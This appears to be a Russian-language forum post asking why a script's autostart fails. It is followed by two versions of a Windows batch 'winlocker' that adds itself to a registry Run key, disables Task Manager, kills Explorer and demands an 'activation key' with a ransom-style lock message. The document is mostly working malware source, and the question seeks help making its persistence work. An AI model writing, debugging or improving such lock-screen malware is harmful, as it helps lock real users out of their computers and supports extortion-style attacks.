У скрипта не работает автозагрузка

@echo off
color c
 
title       VIRUS
cls
Set pathBat=C:\kill_exp.bat
REG ADD  "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "kill_exp" /t REG_SZ /d "%pathBat%" /f
cls
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /f /v "DisableTaskMgr" /t REG_DWORD /d 1
cls
TASKKILL.EXE /F /im Explorer.exe >nul
cls
 
echo.
echo.
echo    It''s a virus! Very very scary virus!
echo    Your Windows locked. Rebooting the computer will not help you.
echo    To unlock enter the activation key.
 
:POINT
echo.
echo.
echo.
echo Key: 
set /p x=
if %x%==123 (
 
REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v kill_exp /f
start Explorer.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /f /v "DisableTaskMgr" /t REG_DWORD /d 0
cls
 
) ELSE (
 
if %x%==000 (
 
start Explorer.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /f /v "DisableTaskMgr" /t REG_DWORD /d 0
cls
 
) ELSE (
 
cls
echo.
echo.
echo    Your Windows locked.
echo    The activation key is not correct. Try again.
goto POINT
)
)

@echo off
set "pathBat=C:\kill_exp.bat"
set "phexpl=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
set "phTM=HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"
 
REG ADD "%phexpl%" /v "kill_exp" /t REG_SZ /d "%pathBat%" /f
REG ADD "%phTM%" /f /v "DisableTaskMgr" /t REG_DWORD /d 1
TASKKILL.EXE /F /im Explorer.exe >nul
 
echo Key:& set /p x=
if %x%==123 call :123
if %x%==000 call :000
pause& exit
 
:123
 REG DELETE "%phexpl%" /v "kill_exp" /f
 start "" "Explorer.exe"
 REG ADD "%phTM%" /f /v "DisableTaskMgr" /t REG_DWORD /d 0
exit /b
 
:000 
 start "" "Explorer.exe"
 REG ADD "%phTM%" /f /v "DisableTaskMgr" /t REG_DWORD /d 0
exit /b